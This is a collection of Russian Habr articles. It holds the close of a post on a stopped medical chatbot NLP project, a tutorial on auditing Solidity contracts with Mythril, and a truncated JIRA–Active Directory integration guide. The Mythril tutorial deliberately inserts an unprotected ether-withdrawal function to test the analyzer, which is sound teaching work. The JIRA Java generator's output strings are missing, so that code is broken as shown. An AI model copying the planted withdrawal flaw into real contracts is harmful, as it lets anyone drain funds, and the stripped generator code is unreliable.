Мы пробовали использовать лемматизацию, но в итоге отказались от этой идеи. Тестировали разные инструменты: spacy, pymorphy2, natasha, rnnmorph и другие, pymorphy2 был самым быстрым и качественным на наших данных. Но использование лемматизации практически не улучшило качество наших моделей. Кроме того, многие медицинские термины обычно не обрабатывались лемматизаторами. Наконец, использование лемматизаторов заметно замедляло скорость отклика системы, поэтому мы решили, что нет смысла использовать их.
Была идея попробовать использовать спеллчекеры, поскольку много людей пишет с ошибками. Наша команда тестировала Jamspell и pyenchant, но, увы, они часто портили тексты и заметно замедляли работу проекта.
Ещё мы пробовали конвертировать натренированные модели в другие форматы для ускорения инференса, но оказалось, что слой CRF не конвертируется в onnx, а если тренировать модели NER без него, то качество значительно падает.
Почему же у нас не получилось
-----------------------------
Как уже было сказано в самом начале поста, проект был остановлен. Это решение приняли по независящим от нас причинам. Отчасти это произошло, потому что проект работал недостаточно хорошо. И здесь есть две группы причин: технические и организационные. Впрочем, часто они были взаимосвязаны.
### Технические проблемы
* Я много писал про работу с данными, и повторюсь снова: их разметка была сложной и занимала много времени. Для улучшения качества моделей и покрытия разных случаев стоило бы потратить на разметку гораздо больше времени и сил;
* Мы не могли продуктивно использовать данные логов чат-бота, поскольку их было очень мало. Стоило бы сделать одно из двух: либо более активное использование чат-бота и анализ логов, либо направить развитие проекта на те направления, по которым поступало основное большинство жалоб;
### Организационные проблемы
* Большую часть времени у нас либо не было роадмапа, либо он был очень верхнеуровневым. Из-за этого было не слишком понятно, что надо делать для успеха проекта;
* В связи с этим время от времени появлялись новые идеи от продакт-менеджеров, приводящие к изменениям функционала, к изменениям списка извлекаемых сущностей и классов, к изменениям логики работы. Нередко идеи были не продуманы, и нам приходилось самостоятельно доводить их до ума;
* Более того, у нас не было четких milestone и критериев качества работы моделей. Мы тратили много времени и сил на улучшение наших моделей, но у нас не было понимания того, какое качество моделей является достаточным для приёмки. Мы даже самостоятельно собирали тестовый датасет для проверки качества наших моделей;
* Кроме того, у нас не было каких-либо метрик для оценки качества диалога в целом. То есть мы могли измерить качество моделей обычными метриками машинного обучения, но мы никак не оценивали хорошо ли работает наша диалоговая система в целом или нет;
* У нас не было тестирования. Проект был весьма сложным, помимо NLP-части, была большая часть отвечающая за сам опрос, была внушительная backend-составляющая — об этом можно рассказывать ещё долго. Время от времени мы находили какие-то баги и исправляли их, но было бы гораздо лучше, если бы имелась команда QA. Справедливости ради, вряд ли можно было просить QA тестировать работу проекта с медицинской точки зрения, ибо для этого требовались бы доменные знания, но и помимо этого было много вещей, которые можно было бы тестировать;
Где-то в конце проекта нам огласили три бизнес-метрики:
* человек согласился с рекомендацией чат-бота;
* согласился и записался на приём;
* согласился, записался и пришёл на приём.
Проблема заключалась в том, что мы можем повлиять только на первую метрику, вторая и третья метрика никак не зависела от качества работы чат-бота.
В итоге мы видим, что проект получился очень сложным, при этом не было чёткого понимания того, насколько хорошо он будет работать в реальных условиях и сколько денег будет приносить. В результате, его заморозили решением свыше в конце 2020 года.
Была ли польза?
---------------
Ну а что в итоге? Казалось бы, все зря: было потрачено много ресурсов, а проект остановили. Тем не менее на вопрос: была ли какая-либо польза от него, я ответил бы да. И вот почему:
* Мы опробовали много подходов к active learning и анализу качества разметки, некоторые из этих подходов использовались в дальнейших проектах;
* Мы наработали опыт в построении различных моделей для работы с текстами — NER, классификация, relation extraction. Это также использовалось в дальнейшем;
* При тренировке моделей мы разработали два пайплайна на pytorch lightning — эти пайплайны могут быть вновь использованы в дальнейшем;
* Проект заморожен, но может быть возобновлён в будущем.
Вот и вся история этого проекта. Надеюсь, что это было интересно и полезно. :) | https://habr.com/ru/post/670144/ | null | ru | null |
# Гайд по автоматическому аудиту смарт-контрактов. Часть 3: Mythril
**Warning**
-----------
Данная статья — это не рейтинг эффективности автоанализаторов. Я применяю их к собственным контрактам, намеренно синтезируя ошибки, и изучаю реакции. Такое исследование не может являться основанием для определения "лучше-хуже", для этого имеет смысл провести слепое исследование на большой выборке контрактов, которое, учитывая капризный характер такого рода ПО, провести крайне сложно. Вполне возможна ситуация, когда небольшая ошибка в контракте может отключить большой кусок логики анализатора, а простейший эвристический признак может добавить анализатору огромное число очков за счет нахождения широко распространенного бага, который конкуренты просто не успели добавить. Также могут сыграть роль ошибки в подготовке и компиляции контрактов. Все рассматриваемое ПО является довольно молодым, и дорабатывается постоянно, поэтому не стоит воспринимать критические замечания как непоправимые проблемы.
Цель статьи — дать читателю понимание того, как работают методы анализа кода в разных анализаторах и умение их правильно использовать, а не "определиться с выбором". Разумный выбор — использовать сразу несколько инструментов, делая акцент на наиболее подходящем для анализируемого контракта.
**Настройка и подготовка к запуску**
------------------------------------
Mythril использует сразу несколько видов анализа, вот пара хороших статей о нем: [самая главная](https://arxiv.org/pdf/1902.03868.pdf), [эта](https://hackernoon.com/introducing-mythril-a-framework-for-bug-hunting-on-the-ethereum-blockchain-9dc5588f82f6) или [эта](https://hackernoon.com/practical-smart-contract-security-analysis-and-exploitation-part-1-6c2f2320b0c). Перед продолжением имеет смысл их прочитать.
Для начала соберем свой собственный Docker образ Mythril (мало ли что мы захотим в нем поменять?):
```
git clone https://github.com/ConsenSys/mythril-classic.git
cd mythril-classic
docker build -t myth .
```
Теперь попробуем запустить его на нашем `contracts/flattened.sol` (я использую тот же контракт, который рассматривался во [введении](https://habr.com/ru/post/438336/)), в котором присутствуют два основных контракта, `Ownable` от Zeppelin и наш `Booking`. У нас по прежнему проблема с версией компилятора, я ее исправил тем же способом, что и в предыдущей статье, добавив в Dockerfile строки, которые заменят версию компилятора:
```
COPY --from=ethereum/solc:0.4.20 /usr/bin/solc /usr/bin
```
После пересборки образа, можно попробовать запустить анализ контракта. Сразу давайте использовать флаги `-v4` и `--verbose-report`, чтобы увидеть все предупреждения. Поехали:
```
docker run -v $(pwd):/tmp \
-w /tmp myth:latest \
-v4 \
--verbose-report \
-x contracts/flattened.sol
```
Здесь мы работаем с flattened контрактом без зависимостей. Чтобы проанализировать отдельный контракт `Booking.sol` и чтобы Mythril подхватил все зависимости, можно использовать примерно такую конструкцию:
```
docker run -v $(pwd):/tmp \
-w /tmp myth:latest \
--solc-args="--allow-paths /tmp/node_modules/zeppelin-solidity/ zeppelin-solidity=/tmp/node_modules/zeppelin-solidity" \
-v4 \
--verbose-report \
-x contracts/Booking.sol
```
Я предпочитаю работать с flattened вариантом, т.к. мы будем многое модифицировать в коде. Но у Mythril есть еще и крайне удобный режим `--truffle`, который просто протестирует все, что скомпилирует `truffle`, проверяя весь проект на предмет уязвимостей. Также важной фичей является возможность указать через двоеточие название контракта, который надо анализировать, иначе Mythril будет анализировать все встретившиеся контракты. Мы верим, что `Ownable` от OpenZeppelin — это безопасный контракт, и анализировать собираемся только `Booking`, поэтому финальная строка для запуска:
```
docker run -v $(pwd):/tmp -w /tmp myth:latest -x contracts/flattened.sol:Booking -v4 --verbose-report
```
**Запуск и деплой контракта**
-----------------------------
Вышеуказанной строкой запускаем анализатор, смотрим вывод, и получаем среди прочего вот такую строку:
```
mythril.laser.ethereum.svm [WARNING]: No contract was created during the execution of contract creation Increase the resources for creation execution (--max-depth or --create-timeout)
The analysis was completed successfully. No issues were detected.
```
Оказывается, наш контракт не был создан и "задеплоен" в эмулятор. Именно поэтому я рекомендую для всех видов анализа использовать флаг `-v4`, чтобы видеть все сообщения и не пропустить ни одного важного. Давайте разбираться, что не так. Решение этой практической проблемы довольно важно для понимания того, как правильно использовать Mythril.
Итак, читаем про Mythril: `It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities`. Если вы не сильно знакомы с этими терминами, рекомендую wiki про concolic testing [тут](https://en.wikipedia.org/wiki/Concolic_testing), а [вот](http://web.cs.iastate.edu/~weile/cs513x/2018spring/taintanalysis.pdf) хорошая презентация про taint checking для x86. Если кратко: Mythril эмулирует исполнение контракта, фиксирует ветви, по которым может пойти исполнение и пытается достичь "сломанного" состояния контракта, перебирая различные комбинации параметров и пытаясь обойти все возможные пути. Вот примерная схема действий из статьи выше:
```
1. Определить набор входных переменных для алгоритма. Это будут symbolic-переменные, а все остальные будут считаться просто конкретными значениями.
2. Запомнить эти переменные и каждую операцию, меняющую одну из этих переменных, записывать в trace файл. Также записывать все ошибки, и по дороге отмечать ветви кода, по которым проходит исполнение.
3. Выбрать стартовый набор значений переменных.
4. Нативно исполнить код контракта и сохранить trace-файл.
5. Выполнить symbolic execution поверх сохраненного trace, генерируя новые symbolic переменные, отмечая каждую новую ветвь, по которой может пойти исполнение, и планируя её будущий анализ.
6. Исключить текущую ветвь из непроанализированных, чтобы в следующий раз исполнение пошло по следующей непроанализированной ветви. Если таких не осталось, выходим.
7. Провести анализ ветви: во всех местах, где исполнение ветвится, определить набор input-ов, чтобы попасть в нужную ветвь, зафиксировать их и новую ветвь исполнения. Если такие input-ы найти не удалось, вернуться к п.6 и анализировать следующую ветвь.
8. Вернуться к п.4
```
Если сильно упростить, то Mythril, встретив ветвление в коде, может понять, при каких наборах переменных можно попасть и в одну и в другую ветвь. В каждой ветви Mythril знает, ведет ли она к `assert`, `transfer`, `selfdestruct` и другим важным для безопасности опкодам. Поэтому Mythril анализирует, какие наборы параметров и транзакций могут привести исполнение к нарушению безопасности. А способ, которым Mythril отсекает ветви, которые никогда не получат управление и анализирует control flow, и есть его основная фишка. Более подробно про кишки Mythril и хождение по ветвям написано [тут](https://github.com/b-mueller/smashing-smart-contracts/blob/master/smashing-smart-contracts-1of1.pdf).
Благодаря детерминистичности исполнения смарт-контрактов, одна и та же последовательность инструкций всегда ведет строго к одному набору изменений в state, вне зависимости от платформы, архитектуры и окружения. Также, функции в смарт-контрактах довольно короткие, а ресурсы — крайне ограничены, поэтому анализаторы типа Mythril, совмещающие symbolic и native execution, для смарт-контрактов могут крайне эффективно работать.
В процессе работы Mythril оперирует понятием "state" — это код контракта, его окружение, указатель на текущую команду, storage контракта и состояние стека. Вот из документации:
```
The machine state μ is defined as the tuple (g, pc, m, i, s) which are the gas available, the program counter pc ∈ P256, the memory contents, the active number of words in memory (counting continuously from position 0), and the stack contents. The memory contents μm are a series of zeroes of size 256.
```
Граф переходов между state-ами является основным объектом исследования. В случае успешного запуска анализа, информация об этом графе выводится в лог анализа. Также, Mythril умеет строить этот граф в удобочитаемом виде при помощи опции `--graph`.
Теперь более-менее понимая, что будет делать Mythril, продолжим разбираться, почему контракт не анализируется и откуда взялось `[WARNING]: No contract was created during the execution of contract creation`. Для начала я покрутил параметр `--create-timeout` и `--max-depth` (как было рекомендовано) и, не получив результата, подумал, что виноват конструктор — что-то в нем не работает. Вот его код:
```
function Booking(
string _description,
string _fileUrl,
bytes32 _fileHash,
uint256 _price,
uint256 _cancellationFee,
uint256 _rentDateStart,
uint256 _rentDateEnd,
uint256 _noCancelPeriod,
uint256 _acceptObjectPeriod
) public payable {
require(_price > 0);
require(_price > _cancellationFee);
require(_rentDateStart > getCurrentTime());
require(_rentDateEnd > _rentDateStart);
require(_rentDateStart+_acceptObjectPeriod < _rentDateEnd);
require(_rentDateStart > _noCancelPeriod);
m_description = _description;
m_fileUrl = _fileUrl;
m_fileHash = _fileHash;
m_price = _price;
m_cancellationFee = _cancellationFee;
m_rentDateStart = _rentDateStart;
m_rentDateEnd = _rentDateEnd;
m_noCancelPeriod = _noCancelPeriod;
m_acceptObjectPeriod = _acceptObjectPeriod;
}
```
Вспомним алгоритм действий Mythril. Для запуска trace необходимо вызвать конструктор контракта, ведь все последующее исполнение будет зависеть от того, с какими параметрами был вызван конструктор. К примеру, если вызвать конструктор с `_price == 0`, конструктор выдаст исключение на `require(_price > 0)`. Даже если Mythril переберет множество значений `_price`, конструктор все равно будет ломаться, если, например `_price <= _cancellationFee`. В этом контракте с десяток параметров, связанных жесткими ограничениями, и Mythril, конечно, не может угадывать валидные комбинации параметров. Он пробует пройти на следующую ветвь исполнения, перебирая параметры конструктора, но шансов угадать у него практически нет — слишком много комбинаций параметров. Поэтому выкладка контракта не отрабатывает — все пути упираются в какой нибудь из `require(...)`, и мы получаем вышеуказанную проблему.
Теперь у нас есть два пути: первый — отключить все `require` в конструкторе, закомментировав их. Тогда Mythril сможет вызвать конструктор с любым набором параметров и все отработает. Но это означает, что исследуя контракт с такими параметрами, Mythril найдет ошибки, которые возможны при неправильных значениях, переданных в конструктор. Проще говоря, если Mythril найдет баг, который возникает, если создатель контракта укажет `_cancellationFee` в миллиард раз больше, чем цена аренды `_mprice`, то толку от такого бага никакого — подобный контракт никогда не будет задеплоен, а ресурсы на поиск ошибок будут потрачены. Мы подразумеваем, что контракт всё-таки задеплоен с более-менее целостными параметрами, поэтому для дальнейшего анализа имеет смысл указать более реальные параметры конструктора, чтобы Mythril не искал ошибки, которые никогда не возникнут, если правильно задеплоить контракт.
Я провел много часов, пытаясь точно понять, на каком же месте деплой ломается, включая и отключая разные части конструктора. Вдобавок к моим бедам, в конструкторе используется `getCurrentTime()`, возвращающая текущее время, и неясно, как этот вызов обрабатывает Mythril. Я не буду описывать здесь эти приключения, т.к. скорее всего при регулярном использовании эти тонкости станут известны аудитору. Поэтому я выбрал второй путь: ограничить входные данные, и просто убрал все параметры из конструктора, даже `getCurrentTime()`, попросту захардкодив нужные параметры прямо в конструкторе (в идеале эти параметры стоит получить у заказчика):
```
function Booking(
) public payable {
m_description = "My very long booking text about hotel and beautiful sea view!";
m_fileUrl = "https://ether-airbnb.bam/some-url/";
m_fileHash = 0x1628f3170cc16d40aad2e8fa1ab084f542fcb12e75ce1add62891dd75ba1ffd7;
m_price = 1000000000000000000; // 1 ETH
m_cancellationFee = 100000000000000000; // 0.1 ETH
m_rentDateStart = 1550664800 + 3600 * 24; // current time + 1 day
m_rentDateEnd = 1550664800 + 3600 * 24 * 4; // current time + 4 days
m_acceptObjectPeriod = 3600 * 8; // 8 hours
m_noCancelPeriod = 3600 * 24; // 1 day
require(m_price > 0);
require(m_price > m_cancellationFee);
require(m_rentDateStart > 1550664800);
require(m_rentDateEnd > m_rentDateStart);
require((m_rentDateStart + m_acceptObjectPeriod) < m_rentDateEnd);
require(m_rentDateStart > m_noCancelPeriod);
}
```
Плюс, чтобы все запустилось, надо еще выставить параметр `max-depth`. У меня заработало с этим конструктором при `--max-depth=34` на AWS инстансе t2.medium. При этом, на моем ноутбуке, который помощней, все запускается без всяких `max-depth`. Судя по использованию этого [параметра](https://github.com/ConsenSys/mythril-classic/blob/5e0bcd3f9fd98241475c6abaa1d4c2c0115954fa/mythril/laser/ethereum/strategy/__init__.py#L24), он необходим для построения ветвей для анализа, а его дефолтное значение — infinity ([код](https://github.com/ConsenSys/mythril-classic/blob/3093ed54b4f7c98187449adc3075b1f08bb723f0/mythril/laser/ethereum/svm.py#L51)). Поэтому крутите-вертите этот параметр, но добейтесь того, чтобы нужный контракт был проанализирован. Понять это можно по сообщениям типа:
```
mythril.laser.ethereum.svm [INFO]: 248 nodes, 247 edges, 2510 total states
mythril.laser.ethereum.svm [INFO]: Achieved 59.86% coverage for code: .............
```
Первая строка как раз описывает граф, который будет анализироваться, остальные строки читайте сами. Для анализа различных ветвей, по которым может пойти исполнение, требуются серьезные вычислительные ресурсы, поэтому при анализе объемных контрактов придется подождать даже на быстром компьютере.
**Поиск ошибок**
----------------
Теперь будем искать ошибки и добавлять собственные. Mythril ищет ветви, в которых происходит отправка эфира, selfdestruct, assert, и другие действия, важные с точки зрения безопасности. Eсли где-то в коде контракта встречается одна из вышеописанных инструкций, Mythril изучает пути, по которым можно прийти к этой ветви и, более того, выводит последовательность транзакций, ведущую к данной ветви!
Для начала посмотрим что выдал Mythril на многострадальный `Booking` контракт. Первое предупреждение:
```
==== Dependence on predictable environment variable ====
SWC ID: 116
Severity: Low
Contract: Booking
Function name: fallback
PC address: 566
Estimated Gas Usage: 17908 - 61696
Sending of Ether depends on a predictable variable.
The contract sends Ether depending on the values of the following variables:
- block.timestamp
Note that the values of variables like coinbase, gaslimit, block number and timestamp are predictable and/or can be manipulated by a malicious miner. Don't use them for random number generation or to make critical decisions.
--------------------
In file: contracts/flattened.sol:142
msg.sender.transfer(msg.value-m_price)
```
а возникает она из-за
```
require(m_rentDateStart > getCurrentTime());
```
в fallback-функции.
Обратите внимание на то, что Mythril понял, что в `getCurrentTime()` прячется `block.timestamp`. Несмотря на то, что по смыслу контракта это не ошибка, то, что Mythril связывает `block.timestamp` с выдачей эфира — это отлично! В данном случае программист должен понимать, что решение принимается на основе значения, которое может контролировать майнер. И, если в будущем в этом месте контракта возникнет аукцион или иной торг за услугу, нужно учитывать возможность front-running атаки.
Посмотрим, увидит ли Mythril зависимость от `block.timestamp`, если мы спрячем переменную во вложенный вызов, вот так:
```
function getCurrentTime() public view returns (uint256) {
- return now;
+ return getCurrentTimeInner();
}
+ function getCurrentTimeInner() internal returns (uint256) {
+ return now;
+ }
```
И да! Mythril продолжает видеть связь между block.timestamp и transfer-ом эфира, это крайне важно для аудитора. Связь между переменной, контролируемой атакующим, и принятием решения после нескольких изменений состояния контракта, может быть очень сильно замаскирована логикой, и Mythril позволяет ее отследить. Хотя полагаться на то, что за вас отследят все возможные связи между всеми возможными переменными не стоит: если продолжить издеваться над функцией `getCurrentTime()` и сделать тройную глубину вложенности, предупреждение исчезнет. Каждый вызов функции для Mythril требует создания новых ветвлений state, поэтому анализ очень глубоких уровней вложенности потребует огромных ресурсов.
Есть конечно, довольно серьезная вероятность, что я просто неверно пользуюсь параметрами анализа или отсечка происходит где-то в глубинах анализатора. Как я уже говорил, продукт в активной разработке, я прямо в момент написания статьи вижу в репозитории коммиты с упоминанием `max-depth`, так что не воспринимайте всерьез текущие проблемы, мы уже нашли достаточно доказательств того, что Mythril может очень эффективно искать неявные связи между переменными.
Сначала добавим в контракт функцию, отдающую эфир кому попало, но только после того, как клиент послал эфир в контракт. Мы разрешили кому угодно забрать 1/5 эфира, но только когда контракт находится в состоянии `State.PAID` (т.е. только после того, как клиент оплатил эфиром снимаемый номер). Вот эта функция:
```
function collectTaxes() external onlyState(State.PAID) {
msg.sender.transfer(address(this).balance / 5);
}
```
Mythril нашел проблему:
```
==== Unprotected Ether Withdrawal ====
SWC ID: 105
Severity: High
Contract: Booking
Function name: collectTaxes()
PC address: 2492
Estimated Gas Usage: 2135 - 2746
Anyone can withdraw ETH from the contract account.
Arbitrary senders other than the contract creator can withdraw ETH from the contract account without previously having sent a equivalent amount of ETH to it. This is likely to be a vulnerability.
--------------------
In file: contracts/flattened.sol:149
msg.sender.transfer(address(this).balance / 5)
--------------------
--------------------
Transaction Sequence:
{
"2": {
"calldata": "0x",
"call_value": "0xde0b6b3a7640000",
"caller": "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef"
},
"3": {
"calldata": "0x01b613a5",
"call_value": "0x0",
"caller": "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef"
}
}
```
Отлично, т.е. Mythril даже вывел две транзакции, которые приводят к тому, что из контракта можно забрать эфир. А теперь изменим требование `State.PAID` на `State.RENT`, вот так:
```
- function collectTaxes() external onlyState(State.PAID){
+ function collectTaxes() external onlyState(State.RENT) {
```
Теперь `collectTaxes()` можно вызвать, только когда контракт находится в состоянии `State.RENT`, а в этот момент на балансе ничего нет, т.к. контракт уже выслал весь эфир owner-у. И важно здесь то, что Mythril на этот раз уже **НЕ** выводит ошибку `==== Unprotected Ether Withdrawal ====`! При условии `onlyState(State.RENT)` до ветви кода, которая высылает эфир из контракта с ненулевым балансом, анализатор не добрался. Mythril перебирал разные варианты параметров, но в `State.RENT` можно попасть, только отправив весь эфир арендодателю. Поэтому добраться до этой ветви кода, имея ненулевой баланс, невозможно, и Mythril совершенно правильно не тревожит аудитора!
Точно так же Mythril будет находить `selfdestruct` и `assert`, показывая аудитору, какие действия могут привести к уничтожению контракта или к поломке в важной функции. Эти примеры я не буду приводить, просто попробуйте сделать функцию, похожую на приведенную выше, только вызывающую `selfdestruct`, и покрутите ее логику.
Также, не забывайте, что одна из частей Mythril — это symbolic execution, а этот подход, сам по себе, без эмуляции исполнения, может определять множество уязвимостей. Например, можно считать уязвимостью "Integer overflow" любое использование "+", "-" и других арифметических операторов, если один из операндов хоть как-то контролируется атакующим. Но повторю еще раз, самая мощная возможность Mythril — это соединение symbolic и native execution и определение значений параметров, ведущих к ветвлению логики.
**Заключение**
--------------
Конечно, чтобы показать весь спектр потенциальных проблем, которые способен обнаруживать Mythril потребуется не одна, а несколько статей. Ко всем прочему, он умеет делать это все в реальном блокчейне, находя по сигнатурам нужные контракты и уязвимости, строить красивые графы вызовов, форматировать отчеты. Также, Mythril позволяет писать собственные сценарии тестирования, предоставляя python-based интерфейс к контракту и позволяющие с произвольной степенью гибкости протестировать отдельные функции, зафиксировать значения параметров, или вообще реализовать собственную стратегию работы с дизассемблированным кодом.
Mythril все-таки довольно молодой софт, это вам не IDA Pro, и документации, кроме нескольких статей, крайне мало. Значение многих параметров приходится лишь вычитывать в коде Mythril, начав с [cli.py](https://github.com/ConsenSys/mythril-classic/blob/develop/mythril/interfaces/cli.py). Надеюсь, что полное и глубокое описание работы каждого параметра появится в документации.
Помимо этого, когда контракт более-менее большой, вывод кучи ошибок занимает много места, а хотелось бы иметь возможность получать и сжатую информацию о найденной ошибке, т.к. при работе с Mythril надо обязательно смотреть трассу анализа, видеть, какие контракты насколько удалось протестировать и иметь возможность принудительно отключить конкретные ошибки, которые аудитор расценивает как false-positive.
Ну а в целом, Mythril — отличный и крайне мощный инструмент для анализа смарт-контрактов и на данный момент должен быть в арсенале любого аудитора. Он позволяет как минимум обратить внимание на критические части кода и обнаружить скрытые связи между переменными.
Подводя итог, рекомендации по использованию Mythril такие:
1. Максимально сужайте стартовые условия исследуемого контракта. Если при анализе Mythril будет тратить много ресурсов на ветви, которые никогда не будут реализованы на практике, он потеряет возможность находить действительно важные баги, поэтому нужно все время стараться сужать область потенциальных ветвлений.
2. Следите за тем, запустился ли анализ контракта, не пропускайте сообщений типа `mythril.laser.ethereum.svm [WARNING]: No contract was created during the execution of contract creation Increase the resources for creation execution (--max-depth or --create-timeout)`, иначе можете ошибочно посчитать, что багов нет.
3. Вы можете произвольно отключать ветви в коде контракта, давая Mythril меньше вариативности в выборе ветвей и экономя ресурсы. Постарайтесь обойтись без ограничений на `max-depth`, чтобы не "обрубать" анализ, но при этом будьте внимательны, чтобы не замаскировать ошибку.
4. Внимательно относитесь к каждому предупреждению, даже легкие замечания иногда стоят того, чтобы хотя бы добавить комментарий в код контракта, облегчая задачу другим разработчикам.
В следующей статье мы займемся анализатором Manticore, а вот все оглавление статей, которые готовы или планируются к написанию:
Часть 1. [Введение. Компиляция, flattening, версии Solidity](https://habr.com/ru/post/438336/)
Часть 2. [Slither](https://habr.com/ru/post/438338/)
Часть 3. Mythril (эта статья)
Часть 4. Manticore (в процессе написания)
Часть 5. Echidna (в процессе написания) | https://habr.com/ru/post/442114/ | null | ru | null |
# Интеграция JIRA 4.1 с Active Directory
Встала задача интеграции JIRA 4.1 с Active Directory со следующими условиями:
1. Синхронизация пользователей и групп (версия 4.1 не поддерживает синхронизацию)
2. Прозрачная аутентификация (в качестве логинов в JIRA используются почтовые адреса)
3. Заполнение свойства пользователей (номер телефона)
4. Пользователи, которых нет в AD, должны быть помечены
И вот как я её решил:
Топик опубликован по просьбе хабровчанина [XoJIoD](http://habrahabr.ru/users/XoJIoD/) — так что плюсы ему.
#### Настройка JIRA
В JIRA 4.1 есть готовый механизм интеграции с LDAP, но единственное, что он умеет — делать проверку паролей, т.е. ни о какой синхронизации речи не идет. Данный шаг можно пропустить, т.к. в дальнейшем мы доверим проверку паролей SPNEGO.
Итак, заходим в JIRA под учетной записью администратора и переходим в раздел Administration → System → LDAP и заполняем форму:
, где:
* **LDAP Host** — адрес и порт вашего сервера LDAP
* **BaseDN** — корневой DN, в котором искать пользователей
* **Bind DN** — DN пользователя, который используется для подключения к серверу LDAP
* **Bind Password** — пароль пользователя, который используется для подключения
* **Search Attribute** — атрибут, в котором содержится логин пользователя (в моем случае это адрес почты)
* **Sample user to authenticate** — логин пользователя, который будет использован для проверки соединения
* **Sample user's password** — пароль пользователя для проверки соединения
Если появилось сообщение об ошибке PartialResultException, попробуйте использовать порт Global Catalog (3268). Если всё заполнено правильно, должно появиться сообщение *LDAP Authentication successful* и, чуть ниже, содержимое XML-файла для интеграции. Скопируйте его, остановите сервер JIRA и замените этим содержимым то, что было в файле *$JIRA\_HOME/atlassian-jira/WEB-INF/classes/osuser.xml*. Пользуясь случаем также включим выполнение Jelly-скриптов, для этого в файле *$JIRA\_HOME/bin/setenv.sh* (для Linux) добавим в параметр **JAVA\_OPTS** строку *-Djira.jelly.on=true*.
После этого вновь запустите JIRA и убедитесь, что для пользователей, которые есть в AD, используются пароли оттуда.
#### Создание Jelly-скрипта
Программу для генерации скрипта, создающего пользователей и группы, я написал в самом начале, а потом жалко было выкидывать. Поэтому, если добавить в аутентификатор или службу (см. ниже) создание групп, этот шаг также можно пропустить.
В документации на сайте Atlassian была найдена [утилита](http://confluence.atlassian.com/display/JIRA/Importing+user+from+LDAP) с открытым исходным кодом, которая генерирует Jelly-скрипт, создающий пользователей LDAP в JIRA. Однако, мне также нужно было создавать группы, поэтому, вооружившись [документацией по Jelly-тегам](http://confluence.atlassian.com/display/JIRA041/Jelly+Tags), дописал эту утилиту до такого состояния:
```
import java.io.File;
import java.io.FileReader;
import java.util.Properties;
import java.util.Random;
import javax.naming.NamingEnumeration;
import javax.naming.directory.*;
import org.apache.commons.lang3.StringEscapeUtils;
public class LDAPImporter {
public static void main(String[] args) throws Exception {
Properties properties = new Properties();
File path = new File(LDAPImporter.class.getProtectionDomain()
.getCodeSource().getLocation().toURI());
if (!path.isDirectory()) {
path = path.getParentFile();
}
properties.load(new FileReader(new File(path, "LDAP.properties")));
properties.put("java.naming.factory.initial",
"com.sun.jndi.ldap.LdapCtxFactory");
DirContext groupContext = new InitialDirContext(properties);
SearchControls groupControls = new SearchControls();
groupControls.setReturningAttributes(new String[] {
(String) properties.get("groupNameAttribute"),
(String) properties.get("groupDNAttribute") });
groupControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
System.out.println("\n");
NamingEnumeration results = groupContext.search(
(String) properties.get("baseDN"),
(String) properties.get("groupFilter"), groupControls);
// Цикл по группам (Organisation Unit'ам)
while (results != null && results.hasMoreElements()) {
SearchResult result = (SearchResult) results.next();
Attribute attribute = result.getAttributes().get(
(String) properties.get("groupNameAttribute"));
if (attribute == null) {
continue;
}
String groupName = (String) attribute.get();
String groupDN = (String) result.getAttributes()
.get((String) properties.get("groupDNAttribute")).get();
// Создание группы
System.out.println("\n");
DirContext userContext = new InitialDirContext(properties);
SearchControls userControls = new SearchControls();
userControls.setReturningAttributes(new String[] {
(String) properties.get("userLoginAttribute"),
(String) properties.get("userNameAttribute"),
(String) properties.get("userMailAttribute") });
userControls.setSearchScope(SearchControls.ONELEVEL\_SCOPE);
NamingEnumeration users = userContext.search(groupDN,
(String) properties.get("userFilter"), userControls);
// Цикл по пользователям в группе
while (users != null && users.hasMoreElements()) {
SearchResult user = (SearchResult) users.next();
attribute = user.getAttributes().get(
(String) properties.get("userLoginAttribute"));
if (attribute == null) {
continue;
}
String userLogin = (String) attribute.get();
attribute = user.getAttributes().get(
(String) properties.get("userNameAttribute"));
String userName;
if (attribute != null) {
userName = (String) attribute.get();
} else {
userName = userLogin;
}
attribute = user.getAttributes().get(
(String) properties.get("userMailAttribute"));
String userMail;
if (attribute != null) {
userMail = (String) attribute.get();
} else {
userMail = userLogin.replace(' ', '.') + '@'
+ properties.get("userMailDomain");
}
/\*
\* Т.к. будут использоваться пароли из AD,
\* генерируем случайный пароль
\*/
String password = Integer.toHexString(new Random().nextInt());
// Создание пользователя
System.out.println("\n");
// Добавление пользователя в группу
System.out.println("\n");
}
}
System.out.println("");
}
}
```
Настройки берутся из файла LDAP.properties, находящемся в одной директории с программой, выглядит он примерно так:
```
# Адрес сервера LDAP
java.naming.provider.url=ldap://127.0.0.1:389
# DN пользователя для подключения
java.naming.security.principal=cn=test,ou=users,dc=local,dc=domain
# Пароль пользователя
java.naming.security.credentials=password
# Корневой DN
baseDN=ou=users,dc=local,dc=domain
# Атрибут с именем группы
groupNameAttribute=name
# Атрибут с DN группы
groupDNAttribute=distinguishedName
# Фильтр групп
groupFilter=(objectclass=organizationalUnit)
# Атрибут с логином пользователя
userLoginAttribute=mail
# Атрибут с именем пользователя (если не указано, равно логину)
userNameAttribute=displayName
# Атрибут с адресом e-mail пользователя (если не указано, равно логин + @ + почтовый домен)
userMailAttribute=mail
# Почтовый домен
userMailDomain=local.domain
# Фильтр пользователей
userFilter=(objectclass=user)
```
Полученный таким образом скрипт скармливаем Jira в разделе Administration → Options & Settings → Jelly Runner и она, немного подумав, создает пользователей и группы.
#### Прозрачная аутентификация
Идея прозрачной аутентификации заключается в следующем: аутентифицирует пользователей SPNEGO и передаёт JIRA в переменной REMOTE USER логин уже вошедшего пользователя. Минус заключается в том, что при такой схеме **пользователи, которых нет в AD, зайти в JIRA не смогут**, однако лучше я ничего не придумал.
##### SPNEGO
Для начала [проверяем работоспособность](http://spnego.sourceforge.net/pre_flight.html) SPNEGO. Для этого скачиваем три файла: [krb5.conf](http://spnego.sourceforge.net/krb5.conf), [login.conf](http://spnego.sourceforge.net/login.conf) и [HelloKDC.java](http://spnego.sourceforge.net/HelloKDC.java).
В файле krb5.conf в секции [libdefaults] **пропущена одна строка**, не забудьте её вписать. После изменения настроек файл krb5.conf должен выглядеть примерно так:
```
[libdefaults]
default_realm = LOCAL.DOMAIN
default_tkt_enctypes = aes128-cts rc4-hmac des3-cbc-sha1 des-cbc-md5 des-cbc-crc
default_tgs_enctypes = aes128-cts rc4-hmac des3-cbc-sha1 des-cbc-md5 des-cbc-crc
